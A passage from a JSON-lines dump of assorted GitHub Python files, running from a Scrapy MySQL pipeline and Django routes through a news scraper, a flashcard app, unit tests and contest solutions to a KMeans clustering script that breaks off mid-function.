user=settings[\"MYSQL_USER\"],\n passwd=settings[\"MYSQL_PWD\"],\n charset='utf8',\n cursorclass=MySQLdb.cursors.DictCursor,\n use_unicode=True\n )\n # adb 可以把 mysql 变成异步操作\n dbpool = adbapi.ConnectionPool(\"MySQLdb\", **dbparams)\n return cls(dbpool)\n\n def process_item(self, item, spider):\n # 使用 twisted 将 mysql 插入变成异步执行\n query = self.dbpool.runInteraction(self.do_insert, item)\n # 处理异常\n query.addErrback(self.handle_error, item, spider)\n\n def handle_error(self, failure, item, spider):\n # 处理异步插入的异常\n print(failure)\n\n def do_insert(self, cursor, item):\n # 执行具体的插入，自动提交\n insert_sql, params = item.get_insert_sql()\n cursor.execute(insert_sql, params)\n","repo_name":"wangyu-geek/ArtichleSpider","sub_path":"ArticleSpider/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":4128,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11966215476","text":"from django.urls import path\nimport anylog_deploy.views as views\nimport anylog_deploy.long_form as long_form\nview_options = views.DeploymentViews()\n\nurlpatterns = [\n path('', view_options.front_page, name='deployment-front'),\n path('deploy-anylog/', view_options.deploy_anylog, name='deploy-anylog'),\n path('basic-configs/', view_options.base_configs, name='basic-configs'),\n path('none-configs/', view_options.none_configs, name='none-configs'),\n path('general-configs/', view_options.general_configs, name='general-configs'),\n path('network-configs/', view_options.network_configs, name='network-configs'),\n path('generic-database-configs/', view_options.database_configs, name='generic-database-configs'),\n path('operator-database-configs/', view_options.operator_database_configs, name='operator-database-configs'),\n path('mqtt-configs/', view_options.mqtt_configs, name='mqtt-configs/'),\n path('full-form/', long_form.full_view, name='full-form'),\n]\n","repo_name":"AnyLog-co/Deployment-Console","sub_path":"anylog_deploy/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5597648635","text":"#!/usr/bin/env python3\n\"\"\"\nRename blog post files to start with the publishing date (YYYY-MM-DD-...)\n\"\"\"\nimport glob\nimport subprocess\n\nfor pat in '*.rst', '*.md':\n for fn in glob.glob(pat):\n with open(fn) as fd:\n for line in fd:\n if line.startswith('.. date:'):\n parts = line.split(':', 1)\n date, time = parts[-1].split()\n date = date.replace('/', '-')\n if not fn.startswith(date):\n new_fn = '{}-{}'.format(date, fn)\n print('Renaming', fn, 'to', new_fn)\n subprocess.check_call(['git', 'mv', fn, new_fn])\n","repo_name":"ThomasKugel/tech.zalando.com","sub_path":"posts/ensure-date-prefix.py","file_name":"ensure-date-prefix.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2322584302","text":"\"\"\"\n Faça um programa que leia um número inteiro e\n mostre na tela o seu sucessor e seu antecessor\n\"\"\"\n\n# Captura o número digitado pelo usuário.\nnumero = int(input(\"Digite um número: \"))\n\n# Subtraí 1 para saber qual número vem antes.\nantecessor = numero - 1\n# Adiciona 1 para saber qual número vem depois.\nsucessor = numero + 1\n\n# Monta uma frase para exibir o resultado.\nprint(f\"O número {numero} tem o antecessor {antecessor} e sucessor {sucessor}\")\n","repo_name":"rodrigorgtic/algoritmos-python","sub_path":"006 - Atividades/antecessor_sucessor.py","file_name":"antecessor_sucessor.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"pt","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"36495801010","text":"from tkinter import *\nimport pandas\nimport random\nimport time\n\nBACKGROUND_COLOR = \"#B1DDC6\"\nchosen_word = {}\nto_learn = []\n\n#Check if program was run before so it can use old list of words left to learn or start all over again\ntry:\n word_dataframe = pandas.read_csv(\"data/french_words.csv\")\nexcept FileNotFoundError:\n old_word_dataframe = pandas.read_csv(\"data/words_to_learn.csv\")\n to_learn = old_word_dataframe.to_dict(orient=\"records\")\nelse:\n to_learn = word_dataframe.to_dict(orient=\"records\")\n\n\ndef next_word():\n '''Function to get the next word in the csv file'''\n global chosen_word, times_up\n window.after_cancel(times_up) #Cancel the old timer to allow a new timer to start\n #Change the canvas to the new word\n canvas.itemconfig(bg_card, image=bg_image)\n chosen_word = random.choice(to_learn)\n canvas.itemconfig(title_text, text=\"French\", fill=\"black\")\n canvas.itemconfig(word_text, text=chosen_word[\"French\"], fill=\"black\")\n #Start a new timer for the new word\n times_up = window.after(3000, flip_card)\n\n\ndef know_word():\n '''Fuction to remove the known word from the list of choices that can come up. Also adds it to a csv of\n words that the user knows'''\n to_learn.remove(chosen_word) #Remove word from list of possible words\n new_words = pandas.DataFrame(to_learn) #Creates data frame of words left on the list\n new_words.to_csv(\"data/words_to_learn.csv\", index=False) #Creates csv of the new list of words\n next_word() #Calls next word function\n\n\ndef flip_card():\n '''Function to flip the card to the English translation of the word on the screen'''\n global chosen_word\n canvas.itemconfig(word_text, text=chosen_word[\"English\"], fill=\"white\") #Changes the label to 'English'\n canvas.itemconfig(title_text, text=\"English\", fill=\"white\") #Change text color\n canvas.itemconfig(bg_card, image=new_bg) #Change the background image\n\n\nwindow = Tk() #Create the window\nwindow.title(\"French Flash Cards\") #Add a title to the window\nwindow.config(padx=50, pady=50, bg=BACKGROUND_COLOR) #Padding to the window to make it look cleaner\n\ntimes_up = window.after(3000, flip_card) #Start timer as soon as program starts\n\ncanvas = Canvas(width=800, height=576) #Create canvas and add images to it on the window\nnew_bg = PhotoImage(file=\"images/card_back.png\") #Images that will be used created with PhotoImage\nbg_image = PhotoImage(file=\"images/card_front.png\")\nbg_card = canvas.create_image(400,263, image=bg_image)\nword_text = canvas.create_text(400, 263, text=\"word\", font=(\"Times New Roman\", 50, \"bold\"))\ntitle_text = canvas.create_text(400, 173, text=\"title\", font=(\"Times New Roman\", 25, \"normal\"))\ncanvas.config(bg=BACKGROUND_COLOR, highlightthickness=0)\ncanvas.grid(column=0, row=0, columnspan=2) #Use grid to add all the parts to the canvas\n\ncorrect_image = PhotoImage(file=\"images/right.png\") #Correct choice image\ncorrect_button = Button(image=correct_image, highlightthickness=0, command= know_word) #Button to choose correct guess\ncorrect_button.grid(column=1, row=1) #Add it to the canvas\n\nwrong_image = PhotoImage(file=\"images/wrong.png\") #Wrong choice image\nwrong_button = Button(image=wrong_image, highlightthickness=0, command=next_word) #Button for wrong choice\nwrong_button.grid(column=0, row=1) #Add it to the canvas\n\nnext_word() #Call next word when program starts\n\nwindow.mainloop() #Keep window open and updating\n","repo_name":"HappyGummyBear/Learn-French-Flashcard","sub_path":"flash-card-project-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29234899127","text":"import json\nfrom datetime import datetime\n\nimport pytest\nfrom freezegun import freeze_time\n\npytestmark = [pytest.mark.asyncio]\n\n\ndef decode_lb_message(message: bytes) -> dict:\n return json.loads(message.decode())\n\n\ncoupons_for_review_seq = [\n [\n dict(\n biz_id=111,\n item_id=1111,\n revision_id=1,\n title=\"title_1\",\n cover_url=\"cover_url_1\",\n products_description=\"description_1\",\n conditions=\"conditions_1\",\n ),\n dict(\n biz_id=222,\n item_id=2222,\n revision_id=2,\n title=\"title_2\",\n cover_url=\"cover_url_2\",\n products_description=\"description_2\",\n conditions=\"conditions_2\",\n ),\n ],\n [\n dict(\n biz_id=333,\n item_id=3333,\n revision_id=3,\n title=\"title_3\",\n cover_url=\"cover_url_3\",\n products_description=\"description_3\",\n conditions=\"conditions_3\",\n )\n ],\n]\n\n\nsingle_coupon_seq = [\n [\n dict(\n biz_id=111,\n item_id=1111,\n revision_id=1,\n title=\"title_1\",\n cover_url=\"cover_url_1\",\n products_description=\"description_1\",\n conditions=\"conditions_1\",\n )\n ]\n]\n\n\nasync def test_writes_all_coupons_to_lb(domain, mock_loyalty_client, mock_topic_writer):\n mock_loyalty_client.get_coupons_list_for_review.seq = coupons_for_review_seq\n\n await domain.export_coupons_to_review()\n\n messages = [\n decode_lb_message(call_args[0][0])\n for call_args in mock_topic_writer.write_one.call_args_list\n ]\n assert [message[\"meta\"][\"biz_id\"] for message in messages] == [111, 222, 333]\n\n\n@freeze_time(\"2020-01-01 11:22:33.123\")\nasync def test_writes_coupon_to_lb_in_expected_format(\n domain, mock_loyalty_client, mock_topic_writer\n):\n mock_loyalty_client.get_coupons_list_for_review.seq = single_coupon_seq\n\n await domain.export_coupons_to_review()\n\n message_data = {\n \"unixtime\": 1577877753123,\n \"workflow\": \"common\",\n \"service\": \"geosmb\",\n \"type\": \"coupons\",\n \"meta\": {\"biz_id\": 111, \"id\": 1111, \"version_id\": 1},\n \"data\": {\n \"title\": \"title_1\",\n \"cover_url\": \"cover_url_1\",\n \"conditions\": \"conditions_1\",\n \"products_description\": \"description_1\",\n },\n }\n mock_topic_writer.write_one.assert_called_once_with(\n str.encode(json.dumps(message_data))\n )\n\n\n@freeze_time(\"2020-01-01 11:22:33.1234567\")\nasync def test_writes_time_as_unixtime_with_ms(\n domain, mock_loyalty_client, mock_topic_writer\n):\n mock_loyalty_client.get_coupons_list_for_review.seq = single_coupon_seq\n\n await domain.export_coupons_to_review()\n\n message = mock_topic_writer.write_one.call_args[0][0]\n expected_dt = datetime.strptime(\n \"2020-01-01 11:22:33.123+0000\", \"%Y-%m-%d %H:%M:%S.%f%z\"\n )\n assert json.loads(message.decode())[\"unixtime\"] == expected_dt.timestamp() * 1000\n\n\nasync def test_writes_nothing_to_lb_for_empty_coupon_iter(\n domain, mock_loyalty_client, mock_topic_writer\n):\n mock_loyalty_client.get_coupons_list_for_review.seq = [[]]\n\n await domain.export_coupons_to_review()\n\n mock_topic_writer.write_one.assert_not_called()\n\n\nasync def test_submits_coupons_written_to_lb(\n domain, mock_loyalty_client, mock_topic_writer\n):\n mock_loyalty_client.get_coupons_list_for_review.seq = coupons_for_review_seq\n\n await domain.export_coupons_to_review()\n\n mock_loyalty_client.confirm_coupons_sent_to_review.assert_called_once_with(\n [\n dict(biz_id=111, item_id=1111, revision_id=1),\n dict(biz_id=222, item_id=2222, revision_id=2),\n dict(biz_id=333, item_id=3333, revision_id=3),\n ]\n )\n\n\nasync def test_does_not_submit_coupons_for_empty_coupon_iter(\n domain, mock_loyalty_client, mock_topic_writer\n):\n mock_loyalty_client.get_coupons_list_for_review.seq = [[]]\n\n await domain.export_coupons_to_review()\n\n mock_loyalty_client.confirm_coupons_sent_to_review.assert_not_called()\n\n\nasync def test_does_not_submit_coupons_if_lb_writer_creation_fails(\n domain, mock_loyalty_client, mock_lb_client\n):\n mock_loyalty_client.get_coupons_list_for_review.seq = coupons_for_review_seq\n mock_lb_client.create_writer.side_effect = Exception()\n\n with pytest.raises(Exception):\n await domain.export_coupons_to_review()\n\n mock_loyalty_client.confirm_coupons_sent_to_review.assert_not_called()\n\n\nasync def test_submit_coupons_written_to_lb_before_writer_fails(\n domain, mock_loyalty_client, mock_topic_writer\n):\n mock_loyalty_client.get_coupons_list_for_review.seq = coupons_for_review_seq\n mock_topic_writer.write_one.coro.side_effect = [None, None, Exception()]\n\n with pytest.raises(Exception):\n await domain.export_coupons_to_review()\n\n mock_loyalty_client.confirm_coupons_sent_to_review.assert_called_once_with(\n [\n dict(biz_id=111, item_id=1111, revision_id=1),\n dict(biz_id=222, item_id=2222, revision_id=2),\n ]\n )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/domains/coupons_domain/test_export_coupons_for_review.py","file_name":"test_export_coupons_for_review.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69835106961","text":"from django.urls import path\nfrom . import views\nfrom . import api\n\napp_name = 'accounts'\nurlpatterns = [\n path('signup/', views.signup, name='signup'),\n path('profile/', views.profile, name='profile'),\n path('profile/edit', views.profile_edit, name='profile_edit'),\n\n ### Profile api\n path('api/profile', api.Profile_Api.as_view(), name='profile_api'),\n path('api/user', api.User_Api.as_view(), name='user_api'),\n\n\n\n]\n","repo_name":"belalhamdy6/online_auction","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16988577211","text":"# author: Adxamjon97\r\n# mail: adxamjon97@umail.uz \r\n\r\nimport os\r\nimport json\r\nimport webbrowser\r\n\r\nfrom tkinter import Tk, Label, Button, Message, Frame, LEFT, RIGHT, TOP, BOTTOM, E, W\r\nfrom PIL import Image, ImageTk\r\n\r\nfrom requests import get\r\nfrom bs4 import BeautifulSoup as bs\r\n\r\nURL = \"https://kun.uz\"\r\n\r\nres = get(URL)\r\n\r\nsoup = bs(res.text, \"lxml\")\r\na = soup.find(\"a\", class_=\"big-news\")\r\n\r\n# rasimni faylga saqledi\r\nimg = a.find(class_=\"big-news__img\").img.get(\"src\")\r\nimgPath = \"img\\\\\"+ img.split(\"/\")[-1]\r\nres = get(img)\r\n\r\n# img papka yaratadi agarda papka bo'lmasa\r\nif not \"img\" in os.listdir():\r\n os.mkdir(\"img\")\r\n\r\nif os.path.exists(imgPath):\r\n print(\"Mavjud\")\r\nelse:\r\n res = get(img)\r\n if res.status_code == 200:\r\n with open(imgPath, 'wb') as file:\r\n file.write(res.content)\r\n\r\n# list qilib xotiraga olvolamiz\r\nlst = {\r\n \"url\": URL + a.get(\"href\"),\r\n \"img\": imgPath,\r\n \"title\": a.find(class_=\"big-news__title\").text,\r\n \"text\": a.find(class_=\"big-news__description\").text,\r\n \"data\": a.find(class_=\"news-meta\").span.text\r\n }\r\n\r\n# faylga saqlab boradi json farmatta\r\nfilename = \"news.json\"\r\ndata = []\r\nif not os.path.exists(filename):\r\n with open(filename, \"x\") as new_file:\r\n json.dump([lst], new_file, indent=4)\r\nelse:\r\n with open(filename, \"r\") as read_file:\r\n data = json.load(read_file)\r\n\r\n if not lst in data:\r\n data.insert(0, lst)\r\n\r\n with open(filename, \"w\") as write_file:\r\n json.dump(data, write_file, indent=4)\r\n\r\n\r\n# osson tushunish uchun interfeys\r\nroot = Tk()\r\n\r\ncol_left = Frame(root)\r\ncol_center = Frame(root, width=800)\r\ncol_right = Frame(root)\r\n\r\nwidth = 765 # размер окна\r\nheight = 555\r\n\r\nx = int(root.winfo_screenwidth() //2 - width /2) # середина экрана\r\ny = int(root.winfo_screenheight()//2 - height/2)\r\n\r\nroot.title(\"Kun uz yangiliklar\")\r\nroot.resizable(False, False) \r\nroot.geometry(f\"{width}x{height}+{x}+{y}\")\r\n\r\n# so'ratni ko'rsatadi\r\nload = Image.open(imgPath)\r\nrender = ImageTk.PhotoImage(load)\r\n\r\nimg = Label(col_center, image = render, width=700) \r\nimg.image = render \r\nimg.pack()\r\n\r\n# yozuvni ko'rsatadi\r\ntitle = Message(col_center, text=lst[\"title\"], font=(None, 13,\"bold\"), width=700, justify=\"center\")\r\ntext = Message(col_center, text=lst[\"text\"], font=(None, 13), width=700, justify=\"center\")\r\nday = Message(col_center, text=lst[\"data\"], font=(None, 10), width=700, justify=\"left\" )\r\n\r\ntitle.pack()\r\ntext.pack()\r\nday.pack(side=LEFT)\r\n#title[\"text\"] = \"test\"\r\n\r\nleft = Button(col_left, text=\"left\" )\r\nright = Button(col_right, text=\"right\")\r\n\r\nleft.pack()\r\nright.pack()\r\n\r\nlink1 = Label(col_center, text=\"To'liq ma'lumot uchun >>\", font=(None, 13,\"italic\"), fg=\"blue\", cursor=\"hand2\")\r\nlink1.bind(\"\", lambda e: webbrowser.open_new(lst[\"url\"]))\r\nlink1.pack(side=RIGHT)\r\n\r\nn1 = 0\r\ndef edit(n=n1):\r\n\tglobal n1\r\n\tglobal load\r\n\tglobal render\r\n\t\r\n\tn1 = n if n>=0 and n\", lambda e: webbrowser.open_new(lst[\"url\"]))\r\n\r\nleft.bind(\"\", lambda e: edit(n1-1))\r\nright.bind(\"\", lambda e: edit(n1+1))\r\n\r\ncol_left.pack(side=LEFT)\r\ncol_center.pack(side=LEFT)\r\ncol_right.pack(side=LEFT)\r\nroot.mainloop()\r\n","repo_name":"adxamjon97/kun.uz-news-parser","sub_path":"kun.uz parser.pyw","file_name":"kun.uz parser.pyw","file_ext":"pyw","file_size_in_byte":3525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40950115519","text":"\nlst=[2,3,4,5,6]\n#squares of all numbers map\n\n#map(function,list/iterables)\n\n\n# def squares(num):\n# return num**2\n# square=list(map(squares,lst))\n# print(square)\n\n#using_lambda_function\ncubes=list(map(lambda num:num**3,lst))\nprint(cubes)\nsquares=list(map(lambda num:num**2,lst))\nprint(squares)","repo_name":"DEVARUN98/mypython1","sub_path":"pythonProject/functional_programing/mapfilterreduce/mapfilterreduce1.py","file_name":"mapfilterreduce1.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40320862563","text":"import random\nimport argparse\n\n\ndef get_arguments():\n parser = argparse.ArgumentParser()\n\n parser.add_argument('-t', '--text', type=str, required=True)\n parser.add_argument('-v', '--variants', type=int, required=False,\n default=1, help='Number of different variants of mock')\n\n return vars(parser.parse_args())\n\n\ndef mock(text):\n chars = list(text)\n\n for i, c in enumerate(chars):\n if random.random() < 0.5:\n chars[i] = c.upper()\n else:\n chars[i] = c.lower()\n\n return ''.join(chars)\n\n\ndef main():\n args = get_arguments()\n for x in range(0, args['variants']):\n print(mock(args['text']))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Vllblvck/Dotfiles","sub_path":"Scripts/mock.py","file_name":"mock.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17253305653","text":"# coding=utf-8\nimport glob\nimport os\n\n\nlogFile = open(\"File summary information.log\", 'w')\nfor nameFile in glob.glob(\"*.dat\"):\n print(\"Work in progress: \" + nameFile)\n fl = nameFile[nameFile.find(\"fl\") + 3: nameFile.find(\"fn\") - 1]\n fn = nameFile[nameFile.find(\"fn\") + 3: nameFile.find(\"dist\") - 1]\n iterationAmount = int(fl) * int(fn) * 2 - 1\n originalFile = open(nameFile, 'r+')\n arrayOfStrings = []\n i = 0\n erroneousBlock = 0\n rightBlock = 0\n pointer = \"-1 0 0 0 0 0 0\"\n print(\"Checking the block length - in the process\")\n for currentLine in originalFile:\n currentLine = currentLine.rstrip()\n if currentLine == \"\":\n continue\n arrayOfStrings.append(currentLine)\n if currentLine == pointer:\n if i < iterationAmount:\n i = i + 1\n erroneousBlock = erroneousBlock + 1\n while i > 0:\n arrayOfStrings.pop()\n i = i - 1\n else:\n rightBlock = rightBlock + 1\n i = 0\n continue\n i = i + 1\n print(\"Checking the block length - completed\")\n originalFile.close()\n os.remove(nameFile)\n print(\"Number of lines: \"+str(len(arrayOfStrings)))\n summaryFile = open(nameFile, 'w')\n print(\"Writing to file - in the process\")\n for line in arrayOfStrings:\n summaryFile.write(line + \"\\n\")\n print(\"Writing to file - completed\")\n summaryFile.close()\n logFile.write(\"Right block: \" + str(rightBlock) + \"\\n\")\n logFile.write(\"Erroneous blocks: \" + str(erroneousBlock) + \"\\n\")\n logFile.write(\"File Completed: \" + nameFile + \"\\n\")\n logFile.write(\"________________________________________________\" + \"\\n\")\n","repo_name":"SaverAlex/Delete-Error-Block","sub_path":"DeleteErrorBlockClassic.py","file_name":"DeleteErrorBlockClassic.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18324729961","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\n\n\ndef main():\n N, M = NMI()\n A, B, C, D, E, F = NMI()\n XY = set(tuple(NMI()) for _ in range(M))\n\n # 移動をそれぞれi, j, k回したときの場合の数\n dp = [[[0]*(N+1) for _ in range(N+1)] for _ in range(N+1)]\n\n dp[0][0][0] = 1\n\n for total in range(N):\n for p in range(total+1):\n for q in range(total+1-p):\n r = total - p - q\n X = p * A + q * C + r * E\n Y = p * B + q * D + r * F\n\n if (X+A, Y+B) not in XY:\n dp[p+1][q][r] += dp[p][q][r]\n dp[p+1][q][r] %= MOD99\n if (X+C, Y+D) not in XY:\n dp[p][q+1][r] += dp[p][q][r]\n dp[p][q+1][r] %= MOD99\n if (X+E, Y+F) not in XY:\n dp[p][q][r+1] += dp[p][q][r]\n dp[p][q][r+1] %= MOD99\n\n total = N\n ans = 0\n for p in range(total+1):\n for q in range(total+1-p):\n r = total - p - q\n ans += dp[p][q][r]\n ans %= MOD99\n\n print(ans)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ABC/ABC265/ABC265E.py","file_name":"ABC265E.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13715955565","text":"n,m,k,c = list(map(int,input().split()))\n\nEMPTY = 0\nWALL = -1\n\ngrid = [\n list(map(int,input().split()))\n for _ in range(n)\n]\n\ndead = [\n [0 for _ in range(n)]\n for _ in range(n)\n]\n\ndxs,dys = [-1,1,0,0],[0,0,-1,1]\nscore = 0\n\ndef print_array(array):\n for row in array:\n print(*row)\n print()\n\ndef is_tree(x,y):\n\n return grid[x][y] > 0 \n\ndef in_range(x,y):\n\n return 0<=x 0 and grid[i][j] != WALL :\n dead[i][j] -= 1\n grid[i][j] = 0\n elif dead[i][j] >0 and grid[i][j] == WALL:\n dead[i][j] -= 1\n\ndef kill_trees():\n global score\n ddxs,ddys = [-1,1,-1,1],[1,1,-1,-1]\n\n max_cnt = (-1e9,-1e9,-1e9)\n max_dead = [\n [0 for _ in range(n)]\n for _ in range(n)\n ]\n for i in range(n):\n for j in range(n):\n # 벽, 빈칸에 뿌릴 수 있다.\n dead_temp = [\n row[:] for row in dead\n ]\n cur_x,cur_y,dead_cnt = i,j,0\n\n if grid[cur_x][cur_y] == WALL or grid[cur_x][cur_y] == EMPTY:\n dead_temp[cur_x][cur_y] = c+1\n else:\n dead_cnt += grid[cur_x][cur_y]\n dead_temp[cur_x][cur_y] = c+1\n\n for ddx,ddy in zip(ddxs,ddys):\n for l in range(1,k+1):\n nx, ny = cur_x + l * ddx , cur_y + l * ddy\n if in_range(nx,ny):\n if grid[nx][ny] == WALL:\n dead_temp[nx][ny] = c + 1\n break\n elif grid[nx][ny] == EMPTY:\n dead_temp[nx][ny] = c + 1\n break\n else :\n dead_cnt += grid[nx][ny]\n dead_temp[nx][ny] = c + 1\n else :\n break\n\n if (dead_cnt,-cur_x,-cur_y) > max_cnt :\n max_cnt = (dead_cnt,-cur_x,-cur_y)\n max_dead = [row[:] for row in dead_temp]\n\n score += max_cnt[0]\n copy_dead(max_dead)\n\n\n\nfor y in range(m):\n grow()\n duplicate()\n kill_trees()\nprint(score)","repo_name":"SeongSuKim95/Python_practice","sub_path":"Implementation_practice/기출문제/나무박멸.py","file_name":"나무박멸.py","file_ext":"py","file_size_in_byte":3911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71250372881","text":"# %%\nimport math as mt\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.decomposition import PCA\nfrom sklearn import datasets\nfrom sklearn.manifold import TSNE\n\n\n# %%\n\n\ndef euDistance(x, y): # 欧式距离的平方\n return np.square(((x - y) ** 2).sum())\n\n\ndef Min_Distance(vet, centers): # 计算每个到所有簇心的距离中最短的那个\n MIN = mt.inf\n for i in centers:\n distance = euDistance(vet, i)\n if distance < MIN:\n MIN = distance\n return MIN\n\n\ndef KMeansPPlus(X, K):\n n = len(X)\n clusters = np.zeros((1, X.shape[1]))\n clusters[0] = X[np.random.randint(0, n)] # 随机选择一个向量作为中心向量\n D = np.zeros(len(X))\n for k in range(1, K):\n for i, vector in enumerate(X):\n D[i] = Min_Distance(vector, clusters) # 计算离所有簇心最短的距离\n clusters = np.row_stack((clusters, X[np.argmax(D)])) # 将距离最远的新簇心压入簇数组\n\n return clusters\n\n\nclass KMeans:\n times = 0 # loop times\n\n def __init__(self, data, KK):\n self.K = KK # 初始化的簇数\n self.X = data # 导入的数据\n self.N = len(data) # 数据的量数\n self.dimension = len(data[0]) # 数据的维数\n self.mu = KMeansPPlus(data, KK) # 初始化选择中心\n self.mu_record = [] # 初始化中心记录（这里不会影响后面的计算，只是为了初始化）\n self.R = np.zeros((self.N, KK)) # 初始化状态 默认 全0\n self.SSEdata = []\n\n def kmeans(self):\n while True and self.times < 10:\n self.times += 1 # 统计循环次数 可以设置最大迭代次数\n # 以下为根据mu中心向量来更新R的操作，也即是Kmeans的第��步\n for n in range(self.N):\n distance = np.zeros(self.K)\n for k in range(self.K):\n distance[k] = euDistance(self.X[n], self.mu[k])\n self.R[n, np.argmin(distance)] = 1\n # 一下为根据状态来更新mu的操作，也就是Kmeans的第二步\n for k in range(self.K):\n for j in range(self.dimension):\n self.mu_record = self.mu\n self.mu[k, j] = np.sum(\n self.R[:, k] * self.X[:, j]) / np.sum(self.R[:, k])\n # 由于Python没有do while循环这里使用while-if-break来进行控制，知道与上一次的记录差小于误差值时停止迭代\n if euDistance(self.mu_record, self.mu) <= 0.000001:\n break\n\n def lower(self, flag=None): # 利用PCA对数据进行降维，便于可视化\n pca = PCA(n_components=2)\n self.X = pca.fit_transform(self.X)\n\n def sseValue(self):\n Value = 0\n for i in range(self.N):\n Value += euDistance(self.X[i], self.mu[self.R[i].argmax()])\n # 这里edDistance为欧式距离，标签采用一个N维向量来表示。若x属于第2类则r=[0,1,0,0,0,...]\n return Value\n\n def show(self): # 展示函数\n X_range = [np.min(self.X[:, 0] * 1.25), np.max(self.X[:, 0] * 1.25)]\n # X轴的展示范围\n Y_range = [np.min(self.X[:, 1] * 1.25), np.max(self.X[:, 1] * 1.25)]\n # Y轴的展示范围\n for k in range(self.K):\n for j in range(2):\n self.mu[k, j] = np.sum(\n self.R[:, k] * self.X[:, j]) / np.sum(self.R[:, k])\n # 计算簇心位置 高纬度数据降维之后可能不在中心\n colors = ['red', 'green', 'yellow', 'blue', 'purple',\n 'brown', 'coral', 'fuchsia', 'gray', 'crimson']\n for k in range(self.K):\n plt.plot(self.X[self.R[:, k] == 1, 0], self.X[self.R[:, k] == 1, 1],\n marker='o', markerfacecolor=colors[k], markeredgecolor='k',\n markersize=6, alpha=0.5, linestyle='none')\n plt.plot(self.mu[k, 0], self.mu[k, 1],\n marker='*', markerfacecolor=colors[k],\n markersize=10, markeredgewidth=1, markeredgecolor='k'\n )\n plt.xlim(X_range)\n plt.ylim(Y_range)\n plt.grid(True)\n plt.show()\n\n def show_original(self):\n X_range = [np.min(self.X[:, 0] * 1.25), np.max(self.X[:, 0] * 1.25)]\n Y_range = [np.min(self.X[:, 1] * 1.25), np.max(self.X[:, 1] * 1.25)]\n\n plt.plot(self.X[:, 0], self.X[:, 1],\n marker='o', markersize=6, alpha=0.5, linestyle='none'\n )\n\n plt.xlim(X_range)\n plt.ylim(Y_range)\n plt.grid(True)\n plt.show()\n\n\ndef SSE(X, K=None):\n data = X\n if K is None:\n K = 10\n test = []\n test.append(None)\n sseValue = [None]\n for k in range(1, K):\n test.append(KMeans(data, k))\n for k in range(1, K):\n test[k].kmeans()\n sseValue.append(test[k].sseValue())\n X_Range = [x + 1 for x in range(K)]\n ssePicture = pd.DataFrame(sseValue, index=X_Range, columns=['SSE'])\n ssePicture.plot()\n plt.show()\n\n\n# %%\n\ndef iris():\n tsne = TSNE()\n test_iris = datasets.load_iris()\n data_iris = test_iris.data\n SSE(data_iris)\n\n test1 = KMeans(data_iris, 3)\n test1.kmeans()\n # test1.lower()\n test1.X = tsne.fit_transform(test1.X)\n test1.show_original()\n test1.show()\n\n\ndef wine():\n tsne = TSNE()\n test_wine = datasets.load_wine()\n data_wine = test_wine.data\n SSE(data_wine)\n\n wine_test = KMeans(data_wine, 3)\n wine_test.kmeans()\n wine_test.X = tsne.fit_transform(wine_test.X)\n wine_test.show_original()\n wine_test.show()\n\n\ndef winequality_white():\n tsne = TSNE()\n # 导入数据集，指定;做分隔号\n test_winequality_white = pd.read_csv('winequality-white.csv', sep=';')\n # 删除结果标签\n test_winequality_white = test_winequality_white.drop(['quality'], axis=1)\n # 取值\n data_winequality = test_winequality_white.values\n\n # SSE轮廓系数\n SSE(data_winequality)\n kmeans_wineq = KMeans(data_winequality, 10)\n kmeans_wineq.kmeans()\n # kmeans_wineq.X = tsne.fit_transform(kmeans_wineq.X)\n pca = PCA(n_components=2)\n kmeans_wineq.X = pca.fit_transform(kmeans_wineq.X)\n kmeans_wineq.show()\n\n\ndef winequality_red():\n tsne = TSNE()\n # 导入数据集，指定;做分隔号\n test_winequality_red = pd.read_csv('winequality-red.csv', sep=';')\n # 删除结果标签\n test_winequality_red = test_winequality_red.drop(['quality'], axis=1)\n # 取值\n data_winequality = test_winequality_red.values\n # SSE轮廓系数\n SSE(data_winequality)\n kmeans_wineq = KMeans(data_winequality, 7)\n 